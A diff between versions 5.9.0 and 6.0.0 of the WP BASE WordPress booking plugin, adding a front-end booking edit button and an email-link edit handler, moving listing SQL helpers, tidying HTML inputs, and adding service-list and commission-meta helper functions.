@@ -310,6 +420,37 @@
 			}

 		}, "json");

 	});

+	

+	$(".app-readonly input, .app-readonly textarea").prop("readonly", true );

+	

+	$(document).on("click", ".app-list-edit", function (e) {

+		e.preventDefault();

+		var $this = $(this);

+		if ($this.hasClass("app-disabled-button")) {

+			return false;

+		}

+		

+		var par = $this.parents("table").first(); 

+		// par.find(".app-list-edit").removeClass("app-disabled-button");

+		par.find("tr").css("opacity", 1);

+		$this.addClass("app-disabled-button");

+		$this.closest("tr").css("opacity",_app_.opacity);

+		

+		var app_id = $this.data("app_id");

+		var arg = {};

+		arg.event = {};

+		arg.fee = {};

+		arg.event.id = app_id; 

+		arg.fee.post_id = _app_.post_id;

+		arg.fee.author_id = parseInt(_app_.author_id);

+		arg.fee.cap = $this.data("cap");

+		arg.fee.lang = _app_.lang;

+		arg.fee.override = $this.data("override");

+		arg.fee.edit_btn = ".app-list-edit[data-app_id='"+ app_id +"']";

+		arg.fee.list_table = par;

+		

+		$.WPB_Quickbook.upsert( 'edit', arg );

+	});	

 });

 </script>

 <?php

@@ -327,7 +468,7 @@
 		$args = isset( $_POST['args'] ) ? json_decode( wpb_clean( wp_unslash( $_POST['args'] ) ), true ) : array();

 		$args['_children_of'] = absint( wpb_clean( $_POST['app_id'] ) );

 		$args['title'] = __('Connected bookings','wp-base');

-		

+

 		add_filter( 'app_list_allowed_columns', array( $this, 'remove_button_cols' ) );

 

 		wp_send_json( array( 'result' => preg_replace( '%<thead(.*?)</thead>%', '', $this->display( $args ) ) ) );

@@ -342,8 +483,8 @@
 		wpb_check_ajax_referer();

 

 		$args = json_decode( wpb_clean( wp_unslash( $_POST['args'] ) ), true );

-		

-		add_filter( 'app_list_allowed_columns', array( $this, 'remove_button_cols' ) );

+

+		add_filter( 'app_list_allowed_columns', array( $this, 'remove_button_cols' ), 1000 );

 

 		$table = $this->display( $args );

 

@@ -356,11 +497,11 @@
 	 */

 	public function remove_button_cols( $cols ) {

 		$cols = array_flip( $cols );

-		

-		foreach( array( 'cancel', 'confirm', 'edit', 'pdf', 'zoom', 'jitsi', 'agora', 'pay', 'gcal', 'private_message' ) as $b ) {

+

+		foreach( array( 'cancel', 'confirm', 'edit', 'pdf', 'zoom', 'jitsi', 'agora', 'pay', 'gcal', 'google_meet', 'private_message' ) as $b ) {

 			unset( $cols[ $b ] );

 		}

-		

+

 		return array_flip( $cols );

 	}

 

@@ -564,7 +705,7 @@
 			case 'provider':

 			case 'worker':				$ret .= $this->a->get_worker_name( $r->worker ); break;

 			case 'owner':				$ret .= $this->a->get_worker_name( wpb_get_service_owner( $r->service ) ); break;

-			case 'client':				$ret .= BASE('User')->get_client_name( $r->ID, $r, true ). apply_filters( 'app_bookings_add_text_after_client', '', $r->ID, $r ); break;

+			case 'client':				$ret .= $this->client_name( $r->ID, $r ). apply_filters( 'app_bookings_add_text_after_client', '', $r->ID, $r ); break;

 			case 'price':				$ret .= wpb_format_currency( $r->price ); break;

 			case 'deposit':				$ret .= wpb_format_currency( $r->deposit ); break;

 			case 'total_paid':			$ret .= wpb_format_currency( $paid/100 ); break;

@@ -590,6 +731,7 @@
 			case 'timezone':

 			case 'language':

 			case 'client_ip':			$ret .= $booking->get_meta( $col ); break;

+			case 'edit':				$ret .= self::table_cell_edit( $r, $args ); break;

 			case $col:					$ret .= apply_filters( 'app_list_add_cell', '', $col, $r, $args );break;

 		}

 

@@ -631,112 +773,122 @@
 	private function is_parent( $r ) {

 		return ( ! $r->parent_id && ( $this->a->is_app_recurring( $r->ID ) || $this->a->is_app_package( $r->ID ) ) );

 	}

+	

+	/**

+	 * Prepare FEE Button cell

+	 * @return string

+	 */

+	public static function table_cell_edit( $r, $args ) {

+		if ( wpb_edit_is_allowed( $r, $args ) ) {

+			$_disabled = '';

+			$title = '';

+		} else {

+			$_disabled = ' app-disabled-button';

 

-}

-	BASE('Listing')->add_hooks();

-}

-

-/**

- * Build service SQL

- * @param $service	integer|string|array	Service ID, service name, multiple service IDs separated with comma or array of service IDs/names

- * @since 5.4.0

- * @return string

- */

-function wpb_listing_service_sql( $service ) {

-	$service_sql = '';

-	if ( $service ) {

-		$services = is_array( $service ) ? $service : explode( ',', $service );

-		foreach ( $services as $s ) {

-			if ( ! is_numeric( $s ) ) {

-				$s = BASE()->find_service_id_from_name( $s );

-			}

-

-			# Allow only defined services

-			if ( BASE()->service_exists( $s ) ) {

-				$service_sql .= " service=".trim( $s )." OR ";

+			if ( wpb_edit_is_too_late( $r ) ) {

+				$title = 'title="'. wpb_get_text('too_late').'"';

+			} else if ( wpb_edit_is_too_early( $r ) ) {

+				$title = 'title="'. wpb_get_text('too_early').'"';

+			} else if ( ! wpb_can_worker_edit() && ! wpb_can_client_edit() ) {

+				$title = 'title="'. wpb_get_text('unauthorised').'"';

+			} else {

+				$title = 'title="'. wpb_get_text('not_possible').'"';

 			}

 		}

 

-		$service_sql = rtrim( $service_sql, "OR " );

-	}

+		$button_text	= ! empty( $args['edit_button'] ) ? $args['edit_button'] : wpb_get_text('edit_button');

+		$class			= ! empty( $args['button_class'] ) ? $args['button_class'] : 'ui-button ui-state-default';

+

+		$ret = '<button '.$title.' class="app-list-edit '.$class.$_disabled.'" data-app_id="'.$r->ID.'" data-cap="'.$args['cap'].'" data-override="'.$args['override'].'">'.$button_text.'</button>';

 

-	if ( ! trim( $service_sql ) ) {

-		$service_sql = ' 1=1 ';

+		return $ret;	

 	}

 

-	return $service_sql;

-}

+	/**

+	 * Handle edit request by email link

+	 * Handled before load_assets of front.php

+	 * @return none

+	 */

+	public function handle_edit() {

 

-/**

- * Build events SQL

- * @since 5.5.1

- * @return string

- */

-function wpb_listing_event_sql( $user_id ) {

-	$sql = '';

-	if ( wpb_use_events() ) {

-		global $wpdb;

-		

-		$events = array_map( function( $id ) { return $id * -1; }, (array)$wpdb->get_col( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_author=%d", $user_id ?: get_current_user_id() ) ) );

-		

-		if ( $events ) {		

-			$sql = " (worker=0 AND service IN (".implode( ',', $events ).")) ";

+		if ( ! empty( $_GET['app_re_edit_login'] ) && ! is_user_logged_in() ) {

+			wpb_notice( wpb_get_text('login_for_edit') );

+			return;

 		}

-	}

-	

-	return $sql ?: '1=2';

-}

 

-/**

- * Build status SQL

- * @since 5.4.0

- * @return string

- */

-function wpb_listing_stat_sql( $statuses ) {

-	if ( ! is_array( $statuses ) ) {

-		$statuses = array_filter( array_map( 'trim', explode( ',', $status ) ) );

-	}

+		if ( empty( $_GET['app_edit'] ) || empty( $_GET['app_id'] ) || empty( $_GET['edit_nonce'] ) ) {

+			return;

+		}

 

-	# Check for 'all'

-	if ( empty( $statuses ) || in_array( 'all', $statuses ) ) {

-		$stat = '1=1';

-	} else {

-		$stat = '';

-		foreach ( $statuses as $s ) {

-			# Allow only defined stats

-			if ( array_key_exists( trim( $s ), BASE()->get_statuses() ) ) {

-				$stat .= " status='".trim( $s )."' OR ";

+		if ( 'yes' != wpb_setting('allow_edit') ) {

+			if ( ! empty( $_GET['app_edit'] ) && ! empty( $_GET['edit_nonce'] ) ) {

+				wpb_notice( 'edit_disabled', 'error' );

 			}

+

+			return;

 		}

-		$stat = rtrim( $stat, "OR " );

-	}

 

-	return $stat;

-}

+		$app_id = wpb_clean($_GET['app_id'] );

+		$app = wpb_get_app( $app_id );

 

-/**

- * Build date/time SQL

- * @since 5.4.0

- * @return string

- */

-function wpb_listing_dt_sql( $start, $end, $_wide_coverage ) {

-	if ( $start && $end ) {

-		if ( $_wide_coverage ) {

-			$datetime_sql = " start <= '" . wpb_date( $end ) . "' AND end > '" . wpb_date( $start ) . "' ";

-		} else {

-			$datetime_sql = " start >= '" . wpb_date( $start ) . "' AND start <= '" . wpb_date( $end ) . "' ";

+		# Check provided hash

+		if ( $_GET['edit_nonce'] != $this->a->create_hash( $app, 'edit' ) ) {

+			wpb_notice( 'error', 'error' );

+			return;

+		}

+

+		if ( wpb_edit_is_too_late( $app ) ) {

+			wpb_notice('too_late');

+			return;

 		}

-	} else {

-		$datetime_sql = ' 1=1 AND';

-		# This is different than is_busy. Here, we want to catch the start time of an appointment. So we dont look at app->end

-		if ( $start ) {

-			$datetime_sql = " start>='" . wpb_date( $start ) . "' AND";

+		

+		if ( wpb_edit_is_too_early( $app ) ) {

+			wpb_notice('too_early');

+			return;

+		}		

+

+		if ( empty( $app->created ) || ! self::in_allowed_status( $app ) ) {

+			wpb_notice('not_possible');

+			return; // Appt deleted completely

+		}

+

+		if ( ! empty( $app->user ) && ! is_user_logged_in() ) {

+			$redirect = add_query_arg( 'app_re_edit_login', $app_id, wp_login_url( esc_url_raw( $_SERVER['REQUEST_URI'] ) ) );

+			wp_redirect( $redirect );

+			exit;

 		}

 

-		if ( $end ) {

-			$datetime_sql .= " start<'" . wpb_date( $end ) . "' ";

+		if ( ! wpb_edit_is_owner( $app ) ) {

+			wpb_notice( 'not_owner', 'error' );

+			return;

 		}

+

+		# Checks are ok. Run script

+		do_action( 'app_load_assets' );

+		add_action( 'wp_footer', array( $this, 'edit_on_footer' ) );

 	}

 

-	return rtrim( $datetime_sql, "AND" );

-}
\ No newline at end of file
+	/**

+	 * Print edit js and html on the footer in case of activation with email link

+	 */

+	public function edit_on_footer() {

+		$app_id = isset( $_GET['app_id'] ) ? wpb_clean( $_GET['app_id'] ) : 0;

+		$u_fields = apply_filters( 'app_edit_allowed_fields', $this->a->get_user_fields(), $app_id );

+		

+		foreach( $u_fields as $key => $f ) {

+			if ( in_array( strtolower( $f ), $this->a->get_user_fields() ) && ! wpb_setting("ask_".$f) ) {

+				unset( $u_fields[ $key ] );

+			}

+		}

+

+		$u = $u_fields ? htmlspecialchars( wp_json_encode( $u_fields ) ) : '';

+?>

+<script type="text/html" class="app-template-for-edit" data-standalone="1" data-app_id="<?php echo esc_attr( $app_id ) ?>" data-user_fields="<?php echo $u ?>">

+</script>

+<?php

+	}	

+

+

+}

+	BASE('Listing')->add_hooks();

+}

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front-pay-later.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front-pay-later.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front-pay-later.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front-pay-later.php	2026-03-10 03:42:22.000000000 +0000
@@ -327,9 +327,9 @@
 		$ret .= '</div>';

 		$ret .= wpb_booking_info_html( );

 		$ret .= '</div>';

-		$ret .= '</div>'; # Close app-conf-wrapper

+		$ret .= '</div>';

 		

-		$ret .= '</div>'; # Close gr2

+		$ret .= '</div>';

 		

 		return $ret;

 	}

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front.php	2026-03-10 03:42:22.000000000 +0000
@@ -27,14 +27,14 @@
      * Add action and filter hooks

      */

 	public function add_hooks_front() {

-

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-listing.php' );						// List Shortcode

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-account.php' );						// Account page

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-cancel.php' );						// Handle cancel requests

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-confirm.php' );						// Handle confirm requests

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-pay-later.php' );					// Handle pay later requests

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-long-bookings.php' );

-		include_once( WPBASE_PLUGIN_DIR . '/includes/front-deprecated.php' );

+		include_once WPBASE_PLUGIN_DIR . '/includes/functions.listing.php';

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-listing.php';						// List Shortcode

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-account.php';						// Account page

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-cancel.php';						// Handle cancel requests

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-confirm.php';						// Handle confirm requests

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-pay-later.php';					// Handle pay later requests

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-long-bookings.php';

+		include_once WPBASE_PLUGIN_DIR . '/includes/front-deprecated.php';

 

 		add_filter( 'the_posts', array($this, 'maybe_load_assets') );							// Determine if we use shortcodes on the page

 

@@ -406,7 +406,7 @@
 			$s .= $title;

 			$s .= '</div>';

 		}

-		$s .= '<input autocomplete="off" type="text" '.(!$history ? 'data-mindate="0"' : '').' data-maxdate="'.BASE()->get_app_limit().'" name="app_timestamp" class="app-sc app_select_date ui-toolbar ui-state-default" value="'.$date.'"/>';

+		$s .= '<input autocomplete="off" type="text" '.(!$history ? 'data-mindate="0"' : '').' data-maxdate="'.BASE()->get_app_limit().'" name="app_timestamp" class="app-sc app_select_date ui-toolbar ui-state-default" value="'.$date.'">';

 		$s .= '</div>';

 

 		return $s;

@@ -831,7 +831,7 @@
 			$out .= (string)$step_title === '0' ? '' : '<span class="step-center-title">'.$step_title.'</span>';

 

 			if ( $has_cart && $astep == $key ) {

-				$out .= '<input type="hidden" class="has-cart" value="1"/>';

+				$out .= '<input type="hidden" class="has-cart" value="1">';

 			}

 

 			$out .= '</div>';

@@ -1397,7 +1397,7 @@
 				}

 

 				if ( $url = apply_filters( 'app_new_app_url', $url, $slot ) ) {

-					$new_link ='<input type="hidden" class="app-new-link" value="'.esc_attr( $url ).'" />';

+					$new_link ='<input type="hidden" class="app-new-link" value="'.esc_attr( $url ).'" >';

 				}

 

 				if ( ! $new_link ) {

@@ -1414,8 +1414,8 @@
 

 			$ret .= '<td class="'.$class_name.' app_day app_day_'.$day_start.' app_worker_'.($calendar->get_worker() ?: '0').'" '.

 				'data-title="'.date_i18n( $this->date_format, $day_start ).'" data-solo="1" title="'.esc_attr( $click_hint_text ).'"><p>'.date( 'j', $d ).'</p>'.

-				'<input type="hidden" class="app-select-ts" value="'.$day_start .'" />'.

-				'<input type="hidden" class="app-packed" value="'.$calendar->slot( $day_start )->pack().'" />';

+				'<input type="hidden" class="app-select-ts" value="'.$day_start .'" >'.

+				'<input type="hidden" class="app-packed" value="'.$calendar->slot( $day_start )->pack().'" >';

 

 			$ret = apply_filters( 'app_monthly_calendar_html_after_td', $ret, $slot, $calendar );

 

@@ -1760,8 +1760,9 @@
 	}

 

 	/**

-	 * Default confirmation shortcode atts

+	 * Default confirmation shortcode atts - DEPRECATED

 	 * @since 3.0

+	 * @Until 6.0

 	 * @return array

 	 */

 	public function confirmation_atts() {

@@ -1793,7 +1794,8 @@
 	}

 

 	/**

-	 * Shortcode function to generate a confirmation box

+	 * Shortcode function to generate a confirmation box - DEPRECATED

+	 * @until 6.0

 	 */

 	public function confirmation( $atts = array() ) {

 

@@ -1906,7 +1908,7 @@
 

 		# A non-functional form so that browser autofill can be used

 		$ret .='<form class="app-conf-client-fields" onsubmit="return false;">';

-		$ret .='<input type="text" autocomplete="off" name="confirm-email-username" class="app_confirm_email_username" id="app_confirm_email_username" />';

+		$ret .='<input type="text" autocomplete="off" name="confirm-email-username" class="app_confirm_email_username" id="app_confirm_email_username" >';

 

 		/* Sanitize and filter User and UDF fields */

 		$sorted_fields = wpb_sanitize_user_fields( $fields, $_app_id, $_editing );

@@ -1923,7 +1925,7 @@
 

 				$ret .= '<div class="app-'.$f.'-field" '.$style.'>';

 				$ret .= '<label><span class="app-conf-title">'. ${$f} . '<sup> *</sup></span>';

-				$ret .= '<input type="text" placeholder="'.wpb_get_text($f.'_placeholder').'" class="app-'.$f.'-field-entry '.$mobile_cl.'" value="'.esc_attr(${'user_'.$f}).'" '. ($is_readonly ? 'readonly' : '').' />';

+				$ret .= '<input type="text" placeholder="'.wpb_get_text($f.'_placeholder').'" class="app-'.$f.'-field-entry '.$mobile_cl.'" value="'.esc_attr(${'user_'.$f}).'" '. ($is_readonly ? 'readonly' : '').' >';

 				$ret .= '</label>';

 				$ret .= '</div>';

 				$ret  = apply_filters( 'app_confirmation_after_'.$f.'_field', $ret, $_app_id, $f, $_editing, $fields );

@@ -1955,15 +1957,15 @@
 		/* Submit, Cancel Buttons */

 		$button_text = apply_filters( 'app_confirmation_button_text', $button_text, $_app_id, $_editing );

 		$ret .= '<div class="app-conf-buttons">';

-		$ret .= '<input type="hidden" class="has-cart" value="'.($use_cart ? 1: 0) .'"/>';

-		$ret .= '<input type="hidden" class="app-disp-price" value="" />';

-		$ret .= "<input type='hidden' class='app-user-fields' value='".esc_attr( wp_json_encode( $sorted_fields ) )."' />";

+		$ret .= '<input type="hidden" class="has-cart" value="'.($use_cart ? 1: 0) .'">';

+		$ret .= '<input type="hidden" class="app-disp-price" value="" >';

+		$ret .= "<input type='hidden' class='app-user-fields' value='".esc_attr( wp_json_encode( $sorted_fields ) )."' >";

 

 		if ( $_app_id ) {

-			$ret .= '<input type="hidden" class="app-edit-id" value="'.$_app_id.'"/>';

+			$ret .= '<input type="hidden" class="app-edit-id" value="'.$_app_id.'">';

 		}

 

-		$ret .= '<input type="hidden" name="app_editing_value" class="app_editing_value" value="'. $_editing .'"/>';

+		$ret .= '<input type="hidden" name="app_editing_value" class="app_editing_value" value="'. $_editing .'">';

 		$ret .= '<button data-button_text="'.$button_text.'" data-icon="check" class="app-conf-button ui-button ui-btn ui-btn-icon-left">'.$button_text.'</button>';

 		$ret .= '<button data-icon="delete" data-iconpos="left" class="app-conf-cancel-button app-cancel-button ui-button ui-btn ui-btn-icon-left" >'.

 				($use_cart && ! $_editing ? wpb_get_text('cancel_cart') : wpb_get_text('cancel')).'</button>';

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.booking.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.booking.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.booking.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.booking.php	2026-03-10 03:42:22.000000000 +0000
@@ -394,17 +394,6 @@
 }

 

 /**

- * Check if user is a service provider (worker)

- * @param $ID		integer			WP user ID. If not provided, current user is checked

- * @return bool

- * @since 3.0

- */

-function wpb_is_worker( $ID = 0 ) {

-	$uid = $ID ? $ID : ( function_exists( 'get_current_user_id' ) ? get_current_user_id() : 0 );

-	return BASE()->is_worker( $uid );

-}

-

-/**

  * Returns service provider (worker) object

  * @param	$ID				integer			ID of the worker to be retrieved = WP User ID

  * @since 3.0

@@ -714,4 +703,75 @@
 				" WHERE service = %d AND ID IN (SELECT object_id FROM ". BASE()->meta_table .

 				" WHERE meta_type='app' AND meta_key='event_session_id' AND meta_value = %s )",

 				$booking->get_service(), strtotime( $booking->get_start() ) .'_'. strtotime( $booking->get_end() ) ) );

-}
\ No newline at end of file
+}

+

+/**

+ * Find services that user booked from first day of last year until end of next year

+ * @since 5.9.1

+ * @return array of objects

+ */

+function wpb_client_services( $user_id = 0, $order = 'name' ) {

+	$user_id = $user_id ?: get_current_user_id();

+

+	$args = array(

+		'range'	=> 'custom',

+		'start'	=> 'first day of last year',

+		'end'	=> 'last day of this year +1 year',

+		'user'	=> $user_id,

+		'limit'	=> 100,

+		'output'=> OBJECT_K,

+	);

+	

+	if ( ! $pop = wpb_popular_services( $args ) ) {

+		return array();

+	}

+	

+	$out = array();

+	$ids = array_keys( $pop );

+	$services = BASE()->get_services( $order );

+	

+	foreach( $services as $id => $service ) {

+		if ( in_array( $id, $ids ) ) {

+			$out[ $id ] = $service;

+		}

+	}

+	

+	return $out;

+}

+

+/**

+ * Find workers that user booked a service from first day of last year until end of next year

+ * @since 5.9.1

+ * @return array of objects

+ */

+function wpb_client_workers( $user_id = 0, $order = 'name' ) {

+	if ( ! $workers = BASE()->get_workers( $order ) ) {

+		return array();

+	}

+	

+	$user_id = $user_id ?: get_current_user_id();

+

+	$args = array(

+		'range'	=> 'custom',

+		'start'	=> 'first day of last year',

+		'end'	=> 'last day of this year +1 year',

+		'user'	=> $user_id,

+		'limit'	=> 100,

+		'output'=> OBJECT_K,

+	);

+	

+	if ( ! $pop = wpb_popular_workers( $args ) ) {

+		return array();

+	}

+	

+	$out = array();

+	$ids = array_keys( $pop );

+	

+	foreach( $workers as $id => $worker ) {

+		if ( in_array( $id, $ids ) ) {

+			$out[ $id ] = $worker;

+		}

+	}

+	

+	return $out;

+}

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.front.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.front.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.front.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.front.php	2026-03-10 03:42:22.000000000 +0000
@@ -352,10 +352,12 @@
 	if ( $methods = array_filter( explode( ',', wpb_setting( 'social_login_methods' ) ) ) ) {

 

 		$out .= '<div class="app-social-buttons">';

+		

+		$requested_url = wpb_requested_url();

 

 		foreach ( $methods as $m ) {

-			$url = add_query_arg( array( 'app-social-login' => $m, 'redirect' => wpb_requested_url() ), wpb_requested_url() );

-			$out .= '<a href="'.esc_url( $url ).'" id="app-'.$m.'-button" title="'.esc_attr( wpb_get_text( 'login_with_'.$m ) ).'">'. wpb_social_login_icon( $m ).'</a>';

+			$url = add_query_arg( array( 'app-social-login' => $m, 'redirect' => $requested_url ), $requested_url );

+			$out .= '<a href="'.esc_url( $url ).'" id="app-'.$m.'-button" title="'.esc_attr( wpb_get_text( 'login_with_'.$m ) ).'" rel="nofollow">'. wpb_social_login_icon( $m ).'</a>';

 		}

 

 		$out .= '</div>';

@@ -907,14 +909,14 @@
 

 	$ret .= '<div class="app-step-content app-checkout-content">';

 	if ( $has_cart ) {

-		$ret .= '<input type="hidden" class="has-cart" value="1"/>';

+		$ret .= '<input type="hidden" class="has-cart" value="1">';

 	}

 	$ret .= wpb_client_info_html( $fields ) . wpb_gateways_html( $_final_note_pre ) . wpb_checkout_button_html( $use_cart ) . $_final_note;

 	$ret .= '</div>';

 	$ret .= '</div>';

 	$ret .= wpb_booking_info_html( );

 	$ret .= '</div>';

-	$ret .= '</div>'; # Close app-conf-wrapper

+	$ret .= '</div>';

 

 	$ret .= '</div>'; # Close gr2

 

@@ -1266,3 +1268,115 @@
 

 	return array( $time, $num_limit, $upper_limit, $compans, $error );

 }

+

+/**

+ * Get HTML for list of services provided by vendor

+ * @param $args		array		HTML parameters

+ * @since 5.9.1

+ * @return	string

+ */

+function wpb_services_list_html( $args ) {

+	$defaults = array(

+		'elm'		=> 'grid',

+		'title'		=> __( 'My Services', 'wp-base' ),

+		'target'	=> '',

+		'columns'	=> 3,

+		'services'	=> '',

+	);

+

+	$args = wp_parse_args( $args, $defaults );

+

+	$items = array();

+

+	$_services = array_filter( explode( ',', $args['services'] ) );

+

+	foreach ( $_services as $service_id ) {

+		$service = new WpB_Service( $service_id );

+

+		if ( 'grid' == $args['elm'] ) {

+

+			$item = wpb_service_list_item_html( $service, $args['target'] );

+		} else {

+

+			$name = BASE()->get_service_name( $service_id );

+

+			if ( $link = $service->get_page_permalink() ) {

+				$item = '<a href="'. $link .'"'. ($args['target'] ? ' target="'. $args['target'] .'"' : '') .'>'. $name .'</a>';

+			} else {

+				$item = $name;

+			}

+		}

+

+		$items[] = 'ul' === $args['elm'] || 'ol' === $args['elm'] ? '<li>'. $item .'</li>' : $item;

+	}

+

+	if ( '0' === (string)$args['title'] ) {

+		$title_html = '';

+	} else {

+		$title_html = '<div class="app-services-list-title app-title">'. esc_html( $args['title'] ) .'</div>';

+	}

+

+	if ( 'grid' == $args['elm'] ) {

+		if ( ! is_numeric( $args['columns'] ) || $args['columns'] < 1 || $args['columns'] > 4 ) {

+			$args['columns'] = 3;

+		}

+

+		$cols = min( $args['columns'], count( $_services ) );

+

+		return $title_html .'<div class="app-services-list app-grid app-grid-'.$cols.'"><div class="app-grid">'. implode( "\n", $items ) .'</div></div>';

+	} else if ( 'ul' === $args['elm'] ) {

+		return $title_html .'<ul class="app-services-list">'. implode( "\n", $items ) .'</ul>';

+	} else if ( 'ol' === $args['elm'] ) {

+		return $title_html .'<ol class="app-services-list">'. implode( "\n", $items ) .'</ol>';

+	} else {

+		return implode( ', ', $items );

+	}

+}

+

+/**

+ * Get HTML for a single service provided by vendor

+ * @param $service	object		WopB_Service object

+ * @since 5.9.1

+ * @return	string

+ */

+function wpb_service_list_item_html( $service, $target ) {

+	$name = BASE()->get_service_name( $service->get_ID() );

+

+	if ( $permalink = $service->get_page_permalink() ) {

+		$link = $permalink;

+		$link_css = ' has-link';

+	} else {

+		$link = 'javascript:void(0)';

+		$link_css = ' no-link';

+	}

+

+	if ( $attach = wp_get_attachment_image( $service->get_image_id(), 'medium', false, array( 'class' => 'app-item-img', 'loading' => false, 'alt' => $name ) ) ) {

+		$img_html = $attach;

+		$pholder_css = ' no-pholder';

+	} else {

+		$img_html = '<img class="app-item-img" src="'.esc_attr( wpb_placeholder_img_src() ).'" alt="Service" />';

+		$pholder_css = ' has-pholder';

+	}

+

+	$out  = '<div class="app-item-card'.$pholder_css.$link_css.'">';

+	$out .= '<a class="app-item-thumb-link" href="'. $link .'"'. ($target ? ' target="'. $target .'"' : '') .'>';

+	$out .= '<div class="app-item-thumb">';

+	$out .= $img_html;

+	$out .= '</div>';

+	$out .= '</a>';

+	$out .= '<div class="app-item-text">';

+	$out .= '<h3 class="app-item-title">'. $name .'</h3>';

+	$out .= '<div class="app-item-excerpt">'. ($service->get_description() ?: wp_trim_words( $service->get_rte_content(), 55, '')) .'</div>';

+

+	$out .= '<div class="app-item-read-more-wrapper">';

+	if ( $permalink ) {

+		$out .= '<a class="app-item-read-more" href="'. $link .'"'. ($target ? ' target="'. $target .'"' : '') .'>'. wpb_get_text( 'read_more' ) .'</a>';

+	}

+	$out .= '</div>';

+

+	$out .= '</div>';

+	$out .= '</div>';

+

+	return $out;

+}

+

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.general.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.general.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/functions.general.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/functions.general.php	2026-03-10 03:42:22.000000000 +0000
@@ -340,6 +340,91 @@
 	return WpBMeta::delete_metadata_by_oid( 'payment', $pid );

 }

 

+ /**

+ * Add meta data field to a commission

+ *

+ * @since 6.0.0

+ *

+ * @param int    $pid	 commission ID.

+ * @param string $meta_key   Metadata name.

+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.

+ * @param bool   $unique     Optional. Whether the same key should not be added.

+ *                           Default true.

+ * @return int|false Meta ID on success, false on failure.

+ */

+function wpb_add_commission_meta( $pid, $meta_key, $meta_value, $unique = true ) {

+	return WpBMeta::add_metadata( 'commission', $pid, $meta_key, $meta_value, $unique );

+}

+

+/**

+ * Retrieve payment meta field for a commission.

+ *

+ * @since 6.0.0

+ *

+ * @param int    $pid  	  commission ID.

+ * @param string $key     Optional. The meta key to retrieve. By default, returns

+ *                        data for all keys. Default empty.

+ * @param bool   $single  Optional. Whether to return a single value.

+ * @return mixed Will be an array if $single is false. Will be value of meta data

+ *               field if $single is true.

+ */

+function wpb_get_commission_meta( $pid, $key = '', $single = true ) {

+	return WpBMeta::get_metadata( 'commission', $pid, $key, $single );

+}

+

+/**

+ * Update payment meta field based on commission ID.

+ *

+ * Use the $prev_value parameter to differentiate between meta fields with the

+ * same key and payment ID.

+ *

+ * If the meta field for the post does not exist, it will be added.

+ *

+ * @since 6.0.0

+ *

+ * @param int    $pid     	 commission ID.

+ * @param string $meta_key   Metadata key.

+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.

+ * @param mixed  $prev_value Optional. Previous value to check before removing.

+ *                           Default empty.

+ * @return int|bool Meta ID if the key didn't exist, true on successful update,

+ *                  false on failure.

+ */

+function wpb_update_commission_meta( $pid, $meta_key, $meta_value, $prev_value = '' ) {

+	return WpBMeta::update_metadata( 'commission', $pid, $meta_key, $meta_value, $prev_value );

+}

+

+/**

+ * Remove metadata matching criteria from a commission record.

+ *

+ * You can match based on the key, or key and value. Removing based on key and

+ * value, will keep from removing duplicate metadata with the same key. It also

+ * allows removing all metadata matching key, if needed.

+ *

+ * @since 6.0.0

+ *

+ * @param int    $pid     commission ID.

+ * @param string $meta_key   Metadata name.

+ * @param mixed  $meta_value Optional. Metadata value. Must be serializable if

+ *                           non-scalar. Default empty.

+ * @return bool True on success, false on failure.

+ */

